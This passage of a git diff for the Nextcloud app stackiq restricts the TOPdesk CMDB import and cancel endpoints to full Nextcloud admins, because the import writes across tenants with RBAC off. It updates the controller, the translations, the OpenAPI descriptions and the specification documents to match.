@@ -1100,8 +1100,6 @@ "Accepted values: {accepted}. Reload the page and try again.": "Accepted values: {accepted}. Reload the page and try again.", "The server could not store the uploaded file.": "The server could not store the uploaded file.", "Try again. If it keeps failing, the Nextcloud log has the details; check the free space and the upload settings of the server.": "Try again. If it keeps failing, the Nextcloud log has the details; check the free space and the upload settings of the server.", - "You may not use stackiq's admin settings, so you cannot import a CMDB export.": "You may not use stackiq's admin settings, so you cannot import a CMDB export.", - "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.": "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.", "No municipality named \"%s\" was found, so it was created. Check the name if you meant an existing one.": "No municipality named \"%s\" was found, so it was created. Check the name if you meant an existing one.", "APPID %1$s is also on sheet \"%2$s\", which wins; this row is not imported": "APPID %1$s is also on sheet \"%2$s\", which wins; this row is not imported", "Stackiq CMDB owners": "Stackiq CMDB owners", diff --git a/l10n/nl.js b/l10n/nl.js index 6d4d7eb87..c9bd0f954 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -1171,8 +1171,6 @@ OC.L10N.register( "Accepted values: {accepted}. Reload the page and try again.": "Toegestane waarden: {accepted}. Laad de pagina opnieuw en probeer het nog eens.", "The server could not store the uploaded file.": "De server kon het geüploade bestand niet opslaan.", "Try again. If it keeps failing, the Nextcloud log has the details; check the free space and the upload settings of the server.": "Probeer het opnieuw. Blijft het mislukken, dan staan de details in het Nextcloud-logboek; controleer de vrije ruimte en de uploadinstellingen van de server.", - "You may not use stackiq's admin settings, so you cannot import a CMDB export.": "U mag de beheerinstellingen van stackiq niet gebruiken, dus u kunt geen CMDB-export importeren.", - "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.": "Vraag een Nextcloud-beheerder om de import uit te voeren, of om de beheerinstellingen van stackiq aan uw groep te delegeren.", "No municipality named \"%s\" was found, so it was created. Check the name if you meant an existing one.": "Er is geen gemeente met de naam \"%s\" gevonden, dus die is aangemaakt. Controleer de naam als u een bestaande gemeente bedoelde.", "APPID %1$s is also on sheet \"%2$s\", which wins; this row is not imported": "APPID %1$s staat ook op het tabblad \"%2$s\", dat voorgaat; deze rij wordt niet geïmporteerd", "Stackiq CMDB owners": "Stackiq CMDB-eigenaren", diff --git a/l10n/nl.json b/l10n/nl.json index 6f24a5105..09d862bb7 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -1170,8 +1170,6 @@ "Accepted values: {accepted}. Reload the page and try again.": "Toegestane waarden: {accepted}. Laad de pagina opnieuw en probeer het nog eens.", "The server could not store the uploaded file.": "De server kon het geüploade bestand niet opslaan.", "Try again. If it keeps failing, the Nextcloud log has the details; check the free space and the upload settings of the server.": "Probeer het opnieuw. Blijft het mislukken, dan staan de details in het Nextcloud-logboek; controleer de vrije ruimte en de uploadinstellingen van de server.", - "You may not use stackiq's admin settings, so you cannot import a CMDB export.": "U mag de beheerinstellingen van stackiq niet gebruiken, dus u kunt geen CMDB-export importeren.", - "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.": "Vraag een Nextcloud-beheerder om de import uit te voeren, of om de beheerinstellingen van stackiq aan uw groep te delegeren.", "No municipality named \"%s\" was found, so it was created. Check the name if you meant an existing one.": "Er is geen gemeente met de naam \"%s\" gevonden, dus die is aangemaakt. Controleer de naam als u een bestaande gemeente bedoelde.", "APPID %1$s is also on sheet \"%2$s\", which wins; this row is not imported": "APPID %1$s staat ook op het tabblad \"%2$s\", dat voorgaat; deze rij wordt niet geïmporteerd", "Stackiq CMDB owners": "Stackiq CMDB-eigenaren", diff --git a/lib/Controller/CmdbImportController.php b/lib/Controller/CmdbImportController.php index b5ea8ead4..2a64a275f 100644 --- a/lib/Controller/CmdbImportController.php +++ b/lib/Controller/CmdbImportController.php @@ -6,14 +6,14 @@ * Upload endpoint for a TOPdesk CMDB export (xlsx) and the cancel endpoint * of a running import (openspec/changes/cmdb-export-import/contract.md). * - * AUTH (ADR-005): both methods are `#[AuthorizedAdminSetting(StackiqAdmin::class)]` - * and carry neither `NoAdminRequired` nor `NoCSRFRequired`, so Nextcloud's - * middleware lets only a Nextcloud admin, or a member of a group an admin - * delegated the stackiq admin settings to, reach them, and only with a valid - * CSRF token (403 / 412 before the body runs). The import writes into the - * catalogue for a whole municipality, which is an administrative action, so - * a member of the app's own manager groups is refused unless the stackiq - * settings were delegated to that group. + * AUTH (ADR-005): both methods carry no auth attribute at all: neither + * `AuthorizedAdminSetting`, `NoAdminRequired`, `NoCSRFRequired` nor + * `PublicPage`. Nextcloud's middleware therefore lets only a Nextcloud admin + * with a valid CSRF token reach them (403 / 412 before the body runs). The + * import reads and writes with `_rbac: false` and `_multitenancy: false`, for + * any municipality whatever its tenant, so only a full Nextcloud admin may run + * it: delegating stackiq's admin settings to a group does not admit that + * group, and neither does membership of the app's own manager groups. * * The upload is checked before it is parsed, in the order of design D10: * present, size, xlsx, `missingRecords`, municipality. Every expected service @@ -40,17 +40,15 @@ use OCA\Stackiq\AppInfo\Application; use OCA\Stackiq\Exception\CmdbImportException; use OCA\Stackiq\Service\CmdbExportImportService; -use OCA\Stackiq\Settings\StackiqAdmin; use OCP\AppFramework\Controller; use OCP\AppFramework\Http; -use OCP\AppFramework\Http\Attribute\AuthorizedAdminSetting; use OCP\AppFramework\Http\JSONResponse; use OCP\IL10N; use OCP\IRequest; use Psr\Log\LoggerInterface; /** - * CMDB import and cancel, for (delegated) stackiq admins and CSRF-protected. + * CMDB import and cancel, for Nextcloud admins only and CSRF-protected. * * @SuppressWarnings(PHPMD.ExcessiveClassComplexity) The complexity is one branch per * contract error code (message()) and per refused upload or field state, checked in @@ -90,15 +88,12 @@ public function __construct( * `updateExisting` (default true), `publish` (default true), `missingRecords` (only `keep`) and * `operationId` (pattern `cmdb-` plus 8 to 64 letters, digits or hyphens). * - * @AuthorizedAdminSetting(settings=OCA\Stackiq\Settings\StackiqAdmin) - * * @return JSONResponse The report (200), or an error envelope with the contract code. * - * @auth admin-only importing a CMDB export rewrites the catalogue of a whole municipality, so only a (delegated) stackiq admin runs it. + * @auth admin-only the import writes with RBAC and multitenancy off, across tenants, so only a full Nextcloud admin may run it. * * @spec openspec/changes/cmdb-export-import/tasks.md#task-8 */ - #[AuthorizedAdminSetting(settings: StackiqAdmin::class)] public function import(): JSONResponse { try { // The upload checks run inside the same boundary, so an unexpected @@ -282,15 +277,12 @@ private function readOptions(string $path, string $fileName): array|JSONResponse * * @param string $operationId The operation id. * - * @AuthorizedAdminSetting(settings=OCA\Stackiq\Settings\StackiqAdmin) - * * @return JSONResponse `{success, cancelRequested}`, or 404 OPERATION_NOT_FOUND. * - * @auth admin-only cancelling an import is part of running it, so only a (delegated) stackiq admin may do it (CSRF checked). + * @auth admin-only cancelling is part of the import, which writes with RBAC and multitenancy off, so only a full Nextcloud admin may do it. * * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 */ - #[AuthorizedAdminSetting(settings: StackiqAdmin::class)] public function cancel(string $operationId): JSONResponse { if ($this->importService->requestCancel(operationId: $operationId) === false) { return $this->error(code: 'OPERATION_NOT_FOUND', status: Http::STATUS_NOT_FOUND); diff --git a/lib/Settings/StackiqAdmin.php b/lib/Settings/StackiqAdmin.php index c21e8db02..1fc6e68ee 100644 --- a/lib/Settings/StackiqAdmin.php +++ b/lib/Settings/StackiqAdmin.php @@ -118,9 +118,12 @@ public function getName(): ?string { * App config keys an authorized (delegated) admin may manage. * * Returned as a map of appId => list of allowed config keys. Stackiq - * exposes no delegatable sub-keys, so this is intentionally empty; the - * `#[AuthorizedAdminSetting]` attribute still scopes the endpoints to full - * admins (fail-closed). Required by IDelegatedSettings — its absence is a + * exposes no delegatable sub-keys, so this is intentionally empty. This + * list does not decide who reaches an endpoint: a route with + * `#[AuthorizedAdminSetting(settings: StackiqAdmin::class)]` admits the + * groups an admin delegated these settings to, and a route without an auth + * attribute (the CMDB import) stays for full Nextcloud admins only. + * Required by IDelegatedSettings — its absence is a * fatal class-loading error that blanks every Nextcloud settings page. * * @return array Map of appId to allowed config keys. diff --git a/openapi.json b/openapi.json index 60c2487bd..16448e884 100644 --- a/openapi.json +++ b/openapi.json @@ -13,7 +13,7 @@ "post": { "operationId": "cmdbImport-import", "summary": "Import a TOPdesk CMDB export (xlsx) for one municipality", - "description": "Nextcloud admins and users delegated the stackiq admin settings, CSRF-protected (requesttoken header or OCS-APIRequest: true). Creates or updates modules, supplier organisations, usages and owner contact persons, matched on topdesk::. See openspec/changes/cmdb-export-import/contract.md.", + "description": "Nextcloud admins only (not the groups delegated the stackiq admin settings), CSRF-protected (requesttoken header or OCS-APIRequest: true). Creates or updates modules, supplier organisations, usages and owner contact persons, matched on topdesk::. See openspec/changes/cmdb-export-import/contract.md.", "tags": [ "cmdb-import" ], @@ -102,7 +102,7 @@ "description": "Not signed in" }, "403": { - "description": "Not an admin of the stackiq settings" + "description": "Not a Nextcloud admin (delegated stackiq admin settings are not enough)" }, "409": { "description": "IMPORT_IN_PROGRESS: another CMDB import holds the register's lock; nothing is read or written", @@ -164,7 +164,7 @@ "post": { "operationId": "cmdbImport-cancel", "summary": "Ask a running CMDB import to stop between rows", - "description": "Nextcloud admins and users delegated the stackiq admin settings, CSRF-protected (requesttoken header or OCS-APIRequest: true). No body.", + "description": "Nextcloud admins only (not the groups delegated the stackiq admin settings), CSRF-protected (requesttoken header or OCS-APIRequest: true). No body.", "tags": [ "cmdb-import" ], @@ -207,7 +207,7 @@ "description": "Not signed in" }, "403": { - "description": "Not an admin of the stackiq settings" + "description": "Not a Nextcloud admin (delegated stackiq admin settings are not enough)" }, "404": { "description": "OPERATION_NOT_FOUND: no CMDB import with this id is running", diff --git a/openspec/changes/cmdb-export-import/contract.md b/openspec/changes/cmdb-export-import/contract.md index 0a4055c81..b41957760 100644 --- a/openspec/changes/cmdb-export-import/contract.md +++ b/openspec/changes/cmdb-export-import/contract.md @@ -10,7 +10,7 @@ Paths are relative to `/index.php/apps/stackiq`. ## Endpoints ### `POST /api/cmdb-import` -**Auth**: Nextcloud session of a Nextcloud admin, or of a member of a group an admin delegated the stackiq admin settings to (`#[AuthorizedAdminSetting(settings: StackiqAdmin::class)]`), plus CSRF `requesttoken` (header or form field). No `NoAdminRequired`, no `NoCSRFRequired`. +**Auth**: Nextcloud session of a Nextcloud admin, plus CSRF `requesttoken` (header or form field). The route carries no auth attribute (no `AuthorizedAdminSetting`, no `NoAdminRequired`, no `NoCSRFRequired`), so the groups an admin delegated stackiq's admin settings to are refused too: the import reads and writes with RBAC and multitenancy off, for any municipality. **Request:** `multipart/form-data` @@ -56,7 +56,7 @@ Paths are relative to `/index.php/apps/stackiq`. |------|-----------| | 400 | `NO_FILE_UPLOADED`, `NOT_XLSX`, `FIELD_INVALID` | | 401 | not signed in (Nextcloud) | -| 403 | neither a Nextcloud admin nor a delegated stackiq admin (Nextcloud) | +| 403 | not a Nextcloud admin, including a member of a group delegated stackiq's admin settings (Nextcloud) | | 409 | `IMPORT_IN_PROGRESS` | | 412 | missing or invalid CSRF token (Nextcloud) | | 413 | `FILE_TOO_LARGE`, `WORKBOOK_TOO_LARGE` | @@ -67,7 +67,7 @@ Paths are relative to `/index.php/apps/stackiq`. Error body: `{"success": false, "error": "", "message": "", "details": {...}}`. `details` is always an object, empty when the code has none. For `MISSING_COLUMN`, `details` is `{"sheet": "...", "column": "..."}`. For `NO_SOURCE_SHEET`, it is `{"expected": ["Onbeh Applicaties CMDB", "Beheerde Applicaties CMDB"]}`. For `TOO_MANY_ROWS`, it is `{"sheet": "...", "limit": 10000}`. For `FILE_TOO_LARGE`, it is `{"maxBytes": 10485760}`: the profile's maximum, or PHP's `upload_max_filesize` / `post_max_size` when that is the lower limit that stopped the upload. For `WORKBOOK_TOO_LARGE`, it is `{"maxUncompressedBytes": 52428800}`, the profile's limit on the unpacked size. For `SCHEMA_OUTDATED`, it is `{"schema": "module", "missing": ["externalKey"]}`: the schema and the properties it lacks. For `MUNICIPALITY_AMBIGUOUS`, it is `{"matches": ["", ""]}`, the uuids of the municipalities with the typed name. `IMPORT_IN_PROGRESS` has no details. For `MISSING_RECORDS_UNSUPPORTED`, it is `{"accepted": ["keep"]}`. For `FIELD_INVALID`, it names the field, plus the accepted values when the field has a fixed set: `{"field": "updateExisting", "accepted": ["true", "false"]}`, or `{"field": "municipalityName"}`. ### `POST /api/cmdb-import/{operationId}/cancel` -**Auth**: the same as the import: a Nextcloud admin or delegated stackiq admin session, plus CSRF token. +**Auth**: the same as the import: a Nextcloud admin session, plus CSRF token. Delegated groups are refused. **Request:** no body. @@ -80,7 +80,7 @@ Error body: `{"success": false, "error": "", "message": " | Code | Condition | |------|-----------| | 401 | not signed in | -| 403 | neither a Nextcloud admin nor a delegated stackiq admin | +| 403 | not a Nextcloud admin | | 404 | `OPERATION_NOT_FOUND`: no running `cmdb_import` operation with this id | | 412 | missing or invalid CSRF token | diff --git a/openspec/changes/cmdb-export-import/design.md b/openspec/changes/cmdb-export-import/design.md index e04418025..892a57b25 100644 --- a/openspec/changes/cmdb-export-import/design.md +++ b/openspec/changes/cmdb-export-import/design.md @@ -36,7 +36,7 @@ Admin settings, "CMDB import" section (CmdbImport.vue) │ multipart: cmdbFile, municipalityUuid | municipalityName, │ updateExisting, missingRecords, operationId (+ requesttoken) ▼ -CmdbImportController::import() admin-only, CSRF, size/type checks +CmdbImportController::import() Nextcloud admins only, CSRF, size/type checks ▼ CmdbExportImportService::import() ├─ CmdbImportProfile lib/Settings/cmdb-import/topdesk-profile.json + 5 packs @@ -122,7 +122,7 @@ The key is the TOPdesk APPID (the ICT Applicatienummer), scoped to the municipal Per row: 1. A row without an APPID is skipped (`missing APPID`). An APPID already seen on the same sheet is skipped (`duplicate APPID in file`). An APPID on both sheets is imported from the sheet the profile's `sheetPrecedence` ranks first ("Beheerde Applicaties CMDB"), whichever sheet the export lists first; the other row is skipped with that reason and a warning naming the APPID and the winning sheet. The CMDB sheets have no "Soort" column, so there is no row-kind filter. -2. Look up the module with `searchObjects` on the configured register and module schema, filtered on `externalKey`, with `_rbac: false` and `_multitenancy: false` (as `SbomImportService` does; the caller is an admin). The result is cached for the run. +2. Look up the module with `searchObjects` on the configured register and module schema, filtered on `externalKey`, with `_rbac: false` and `_multitenancy: false` (as `SbomImportService` does; the caller is a Nextcloud admin, and the route does not admit the groups delegated stackiq's admin settings, because these reads and writes cross tenants). The result is cached for the run. 3. No match: create the module from the mapped data, plus `externalKey`, the create-only defaults (`type: Application`), and `publicationDate` (D6). A module found by `externalKey` counts as a match only when it has a usage whose consumer is this municipality, or no usage at all. `externalKey` is a module property, so on its own it is not proof of ownership: a module only another organisation uses is a conflict, reported as `skipped` and neither changed nor duplicated. The property also carries a write rule (`update: admin`), so only a Nextcloud admin can set it outside the import. 4. Match and `updateExisting=false`: skip with reason `exists`. @@ -228,7 +228,7 @@ Source columns of "Onbeh Applicaties CMDB" and "Beheerde Applicaties CMDB" and w The authoritative interface is in `contract.md`. In short: -- `POST /api/cmdb-import`: multipart `cmdbFile`, plus `municipalityUuid` or `municipalityName`, `updateExisting` (default `true`), `missingRecords` (default `keep`) and `operationId`. Admin, CSRF. Answers 200 with the report, or one of the errors in D10. +- `POST /api/cmdb-import`: multipart `cmdbFile`, plus `municipalityUuid` or `municipalityName`, `updateExisting` (default `true`), `missingRecords` (default `keep`) and `operationId`. Nextcloud admins only, not delegated groups; CSRF. Answers 200 with the report, or one of the errors in D10. - `POST /api/cmdb-import/{operationId}/cancel`: admin, CSRF. Answers 200 `{cancelRequested: true}`. - `GET /api/progress/{operationId}`: the existing route, unchanged. @@ -256,7 +256,7 @@ The fragment bumps `module` to `0.3.5`. Fragments are merged in filename order a ## Nextcloud Integration -- Controllers: `CmdbImportController` (`import`, `cancel`), admin-only with CSRF, no `NoAdminRequired` / `NoCSRFRequired`. +- Controllers: `CmdbImportController` (`import`, `cancel`), for Nextcloud admins only with CSRF: no `AuthorizedAdminSetting` (it would admit delegated groups), no `NoAdminRequired` / `NoCSRFRequired`. - Services: `CmdbExportImportService` (orchestration), `Cmdb\CmdbWorkbookReader`, `Cmdb\CmdbRowNormaliser`, `Cmdb\CmdbImportProfile` (loads and validates the profile and packs). They reuse `ProgressTracker`, `SettingsService` (register and schema ids) and `StackiqContactSyncService`. - OCP: `IRequest::getUploadedFile()`, `IUserSession`, `IL10N`, `OCP\Contacts\IManager` (through `StackiqContactSyncService`), `ICacheFactory` (through `ProgressTracker`). - OpenRegister: `ObjectServiceInterface::searchObjects()` / `saveObject()` (contract), `MigrationPack\MappingEngine` and `PackDefinitionValidator` (container, guarded), PhpSpreadsheet (guarded). @@ -265,7 +265,7 @@ The fragment bumps `module` to `0.3.5`. Fragments are merged in filename order a ## Security Considerations -- **Auth and CSRF:** both routes are admin-only through Nextcloud's middleware, with CSRF required. This is stricter than `SbomController` and `importArchiMate`, which carry `NoCSRFRequired`. The admin check happens before the body is read. +- **Auth and CSRF:** both routes are for Nextcloud admins only through Nextcloud's middleware, with CSRF required. They carry no `AuthorizedAdminSetting`, so a group an admin delegated stackiq's admin settings to is refused: the import writes with RBAC and multitenancy off, across tenants. This is stricter than `SbomController` and `importArchiMate`, which carry `NoCSRFRequired`. The admin check happens before the body is read. - **File checks before parsing:** size limit (10 MB, profile), `.xlsx` extension, ZIP signature and `xl/workbook.xml`. `.xlsm` and `.xls` are rejected. The upload is read from PHP's temporary upload file and never written into Nextcloud Files. - **No evaluation, no fetching:** read-data-only, profile sheets only, cached values for formula cells, no `getCalculatedValue()`, no HTTP client in the reader. External connections, Power Query packages and hyperlinks are inert. - **Resource bounds:** row cap per sheet, and only allowlisted columns are kept. Memory is bounded by loading only the two CMDB sheets. diff --git a/openspec/changes/cmdb-export-import/proposal.md b/openspec/changes/cmdb-export-import/proposal.md index 5c9b4f93f..7b39d58f7 100644 --- a/openspec/changes/cmdb-export-import/proposal.md +++ b/openspec/changes/cmdb-export-import/proposal.md @@ -39,7 +39,7 @@ None. The `module` schema gains five optional properties through a register frag ### In Scope -- Upload endpoint for `.xlsx` files only, with a size limit, admin-only and CSRF-protected. +- Upload endpoint for `.xlsx` files only, with a size limit, for Nextcloud admins only (not for groups delegated stackiq's admin settings) and CSRF-protected. - Reading the two CMDB sheets the municipality uses as its CMDB (decided with the municipality on 2026-10-01): "Onbeh Applicaties CMDB" (from the AIA export: applications without arranged maintenance) and "Beheerde Applicaties CMDB" (from the APP export: with arranged maintenance). The raw "Invoer" sheets are not read. Columns are found by header name per sheet, not position. The CMDB sheets are formulas: the value Excel cached is read; formulas are never evaluated, and a formula without a cached value is an empty cell with a row warning. - One municipality per import, chosen by the admin from existing stackiq organisations of type Municipality, or created from a name the admin types. - Per row: upsert the `module` on APPID, find or create the vendor `organization` from the "Vendor" column (one organisation per distinct vendor), upsert the `usage` (consumer = municipality, module = the application, maintenance arranged yes/no in its note), and find or create the `contactPerson` for "Applicatie Eigenaar (Persoon)" (business owner) through Nextcloud Contacts. Contact persons and usages stay out of every public read. diff --git a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md index cf917eb23..174ed3183 100644 --- a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md +++ b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md @@ -7,15 +7,15 @@ ## Purpose -A Nextcloud admin, or a member of a group an admin delegated stackiq's admin settings to, imports a TOPdesk CMDB export (xlsx) into stackiq for one municipality. Every application row of the export's two CMDB sheets ("Onbeh Applicaties CMDB", applications without arranged maintenance, and "Beheerde Applicaties CMDB", with arranged maintenance) becomes, or updates, a `module` (schema:SoftwareApplication) with its vendor `organization` (schema:Organization), a `usage` that links the application to the municipality, and a `contactPerson` (schema:Person) for its owner, which is never publicly readable. All data is stored as OpenRegister objects (ADR-001). The column-to-field mapping is declarative JSON executed by OpenRegister's mapping engine (ADR-011, ADR-031), so the import can be repeated with a newer export without creating duplicates. OpenCatalogi lists the imported applications, and Portaliq shows them to the municipality. +A Nextcloud admin imports a TOPdesk CMDB export (xlsx) into stackiq for one municipality. Every application row of the export's two CMDB sheets ("Onbeh Applicaties CMDB", applications without arranged maintenance, and "Beheerde Applicaties CMDB", with arranged maintenance) becomes, or updates, a `module` (schema:SoftwareApplication) with its vendor `organization` (schema:Organization), a `usage` that links the application to the municipality, and a `contactPerson` (schema:Person) for its owner, which is never publicly readable. All data is stored as OpenRegister objects (ADR-001). The column-to-field mapping is declarative JSON executed by OpenRegister's mapping engine (ADR-011, ADR-031), so the import can be repeated with a newer export without creating duplicates. OpenCatalogi lists the imported applications, and Portaliq shows them to the municipality. Nextcloud OCP interfaces used: `OCP\IRequest` (multipart upload), `OCP\IUserSession` and `OCP\IGroupManager` (admin check), `OCP\Contacts\IManager` (owner identity, through `StackiqContactSyncService`), `OCP\ICacheFactory` (progress, through `ProgressTracker`), `OCP\IL10N` (messages). OpenRegister: `OCA\OpenRegister\Contract\ObjectServiceInterface` for every read and write. ## ADDED Requirements -### Requirement: The import endpoint SHALL accept only a bounded xlsx upload from a user with the stackiq admin settings (REQ-CMDB-001) +### Requirement: The import endpoint SHALL accept only a bounded xlsx upload from a Nextcloud admin (REQ-CMDB-001) -`POST /api/cmdb-import` SHALL be reachable only by Nextcloud admins and by members of the groups an admin delegated stackiq's admin settings to (`#[AuthorizedAdminSetting(StackiqAdmin)]`), and SHALL require Nextcloud's CSRF token. The endpoint SHALL NOT carry `#[NoAdminRequired]` or `#[NoCSRFRequired]`. It SHALL reject the upload before any parsing when the file is larger than the configured maximum (default 10 MB), when its name does not end in `.xlsx`, or when its content is not a ZIP package containing `xl/workbook.xml`. Macro-enabled (`.xlsm`), legacy (`.xls`) and CSV files SHALL be rejected. No object SHALL be written in any of these cases. +`POST /api/cmdb-import` SHALL be reachable only by Nextcloud admins and SHALL require Nextcloud's CSRF token. The endpoint SHALL NOT carry `#[AuthorizedAdminSetting]`, `#[NoAdminRequired]` or `#[NoCSRFRequired]`: the import reads and writes with RBAC and multitenancy off, for any municipality, so a group an admin delegated stackiq's admin settings to SHALL NOT be admitted. It SHALL reject the upload before any parsing when the file is larger than the configured maximum (default 10 MB), when its name does not end in `.xlsx`, or when its content is not a ZIP package containing `xl/workbook.xml`. Macro-enabled (`.xlsm`), legacy (`.xls`) and CSV files SHALL be rejected. No object SHALL be written in any of these cases. #### Scenario: A file that is not xlsx is rejected @e2e tests/e2e/spec-coverage/cmdb-import.spec.ts @@ -33,10 +33,10 @@ Nextcloud OCP interfaces used: `OCP\IRequest` (multipart upload), `OCP\IUserSess - **THEN** the endpoint SHALL answer 413 with error `FILE_TOO_LARGE` - **AND** the workbook reader SHALL NOT be invoked -#### Scenario: A user without the stackiq admin settings cannot import -@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts asserts 403 on both routes for a signed-in user without the setting. tests/Unit/Controller/CmdbImportControllerTest.php (testBothRoutesRequireTheStackiqAdminSetting, testNeitherRouteDeclaresAnExemption) asserts both routes require the StackiqAdmin setting and declare no exemption, and the Newman collection asserts 403 for a software-catalog-admins member. +#### Scenario: A user who is not a Nextcloud admin cannot import +@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts asserts 403 on both routes for a signed-in user who is not an admin. tests/Unit/Controller/CmdbImportControllerTest.php (testBothRoutesAreForNextcloudAdminsOnly, testNeitherRouteDeclaresAnExemption) asserts both routes carry no attribute, declare `@auth admin-only` with a reason, and declare neither `AuthorizedAdminSetting` nor any exemption, and the Newman collection asserts 403 for a software-catalog-admins member. -- **GIVEN** a signed-in user who is neither a Nextcloud admin nor a member of a group delegated stackiq's admin settings, for example a member of `software-catalog-admins` only +- **GIVEN** a signed-in user who is not a Nextcloud admin, for example a member of `software-catalog-admins`, or of a group an admin delegated stackiq's admin settings to - **WHEN** they post an export to `POST /api/cmdb-import` - **THEN** Nextcloud SHALL answer 403 - **AND** no object SHALL be written @@ -453,7 +453,7 @@ The import SHALL accept `missingRecords` with the value `keep`, which is also th ### Requirement: A running import SHALL report its progress and SHALL stop when cancelled (REQ-CMDB-013) -The import SHALL run as a `ProgressTracker` operation of type `cmdb_import` under the `operationId` the client sends, and SHALL update the processed row count after every row, readable through the existing `GET /api/progress/{operationId}`. `POST /api/cmdb-import/{operationId}/cancel`, open to the same users as the import and CSRF-protected, SHALL request cancellation. The service SHALL check for cancellation between rows, SHALL keep the rows already processed, and SHALL return the report with `cancelled: true`. The final report SHALL also be stored with the operation, so it can be read again within the tracker's lifetime. One import SHALL run per register at a time: the import SHALL hold an exclusive lock on its register from before the file is read until it returns or fails, and a second import while the lock is held SHALL be refused with 409 `IMPORT_IN_PROGRESS` before it reads the file or writes anything, because every match is find-then-create and two interleaved runs would each create the same records. +The import SHALL run as a `ProgressTracker` operation of type `cmdb_import` under the `operationId` the client sends, and SHALL update the processed row count after every row, readable through the existing `GET /api/progress/{operationId}`. `POST /api/cmdb-import/{operationId}/cancel`, admin-only (like the import, not open to delegated groups) and CSRF-protected, SHALL request cancellation. The service SHALL check for cancellation between rows, SHALL keep the rows already processed, and SHALL return the report with `cancelled: true`. The final report SHALL also be stored with the operation, so it can be read again within the tracker's lifetime. One import SHALL run per register at a time: the import SHALL hold an exclusive lock on its register from before the file is read until it returns or fails, and a second import while the lock is held SHALL be refused with 409 `IMPORT_IN_PROGRESS` before it reads the file or writes anything, because every match is find-then-create and two interleaved runs would each create the same records. #### Scenario: The admin follows and cancels a running import @e2e tests/e2e/spec-coverage/cmdb-import.spec.ts covers the section: the progress, the cancel request for the page's operation and the cancelled report. A two-row import finishes before a cancel can land between rows, so the server's stop before the next row is asserted by tests/Unit/Service/CmdbExportImportServiceTest.php testACancelStopsBetweenRows (cancel after row 1 of three: one processed row, cancelled true). @@ -489,7 +489,7 @@ Stackiq's admin settings page SHALL show a section "CMDB import", rendered by th ## Non-Functional Requirements - **Performance:** an export of 1,100 rows SHALL import on the local rig without exceeding PHP's default memory limit, by loading only the source sheets in read-data-only mode. A re-import of an unchanged export SHALL make no `saveObject()` call for unchanged modules and usages. Lookups of organisations, modules and contact persons SHALL be cached per import run, so each distinct vendor, APPID and contact is looked up at most once. -- **Security:** an uploaded third-party file is input: xlsx only, bounded size and row count, no formula evaluation (cached values only), no external links, header-name resolution, per-row isolation, admin-only routes with CSRF (REQ-CMDB-001 to 003, 011). No cell value is ever rendered as HTML. +- **Security:** an uploaded third-party file is input: xlsx only, bounded size and row count, no formula evaluation (cached values only), no external links, header-name resolution, per-row isolation, routes for Nextcloud admins only, not for delegated groups, with CSRF (REQ-CMDB-001 to 003, 011). No cell value is ever rendered as HTML. - **Privacy:** only the owner columns named in REQ-CMDB-010 are read into stackiq, and the objects holding them are never publicly readable. The report and the logs contain no person data. Test fixtures are anonymised and carry no document metadata naming real people. - **Accessibility:** Target WCAG 2.2 AA. The section uses Nextcloud and `@conduction/nextcloud-vue` components: labelled file input and municipality select (SC 1.3.1, 3.3.2; gates `form-label-association`, `nc-input-labels`), a labelled Cancel button (SC 4.1.2; gate `button-name`), a progress bar and summary announced through a polite live region (SC 4.1.3; `axe`), and a report table with header cells (SC 1.3.1; gate `table-headers`). New in 2.2: 2.4.11 Focus Not Obscured applies (the report must not hide focus behind sticky headers); 2.5.7 Dragging Movements does not apply (the file input works without drag and drop); 2.5.8 Target Size applies to the buttons (Nextcloud defaults); 3.2.6 Consistent Help does not apply (no help mechanism added); 3.3.7 Redundant Entry applies (the chosen municipality stays selected after an import); 3.3.8 Accessible Authentication does not apply (no authentication step). - **Internationalization:** Dutch and English MUST be supported (ADR-005) for the section, the error messages and the report reasons. diff --git a/openspec/changes/cmdb-export-import/tasks.md b/openspec/changes/cmdb-export-import/tasks.md index 810b71c30..c48be63af 100644 --- a/openspec/changes/cmdb-export-import/tasks.md +++ b/openspec/changes/cmdb-export-import/tasks.md @@ -87,10 +87,10 @@ Spec: `openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md` (`S - [x] Test ### Task 8: Controller, routes and API tests -- **spec_ref**: `SPEC#requirement-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-user-with-the-stackiq-admin-settings-req-cmdb-001` (cmdb-export-import#REQ-CMDB-001, #REQ-CMDB-012, #REQ-CMDB-013) +- **spec_ref**: `SPEC#requirement-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-nextcloud-admin-req-cmdb-001` (cmdb-export-import#REQ-CMDB-001, #REQ-CMDB-012, #REQ-CMDB-013) - **files**: `lib/Controller/CmdbImportController.php`, `appinfo/routes.php`, `tests/Unit/Controller/CmdbImportControllerTest.php`, `postman/stackiq-tests.json`, `openapi.json` - **acceptance_criteria**: - - GIVEN `cmdbImport#import` and `cmdbImport#cancel` WHEN their attributes are inspected THEN neither has `NoAdminRequired` or `NoCSRFRequired` (hydra gates route-auth, csrf-cochange, no-admin-idor) + - GIVEN `cmdbImport#import` and `cmdbImport#cancel` WHEN their attributes are inspected THEN neither has `AuthorizedAdminSetting`, `NoAdminRequired` or `NoCSRFRequired` (hydra gates route-auth, csrf-cochange, no-admin-idor) - GIVEN the validation order in design.md D10 THEN each error code from contract.md is returned with its status, and every service exception is translated (hydra gate controller-exception-translation) - GIVEN Newman WHEN run against the rig THEN 403 for a non-admin and for a `software-catalog-admins` member, 412 without requesttoken, 413 for an oversized file, 422 `MISSING_RECORDS_UNSUPPORTED`, and 200 with the report for the fixture - [x] Implement @@ -108,7 +108,7 @@ Spec: `openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md` (`S - The e2e file references every `@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts` scenario in the spec (hydra gate e2e-coverage) - [x] Implement - [ 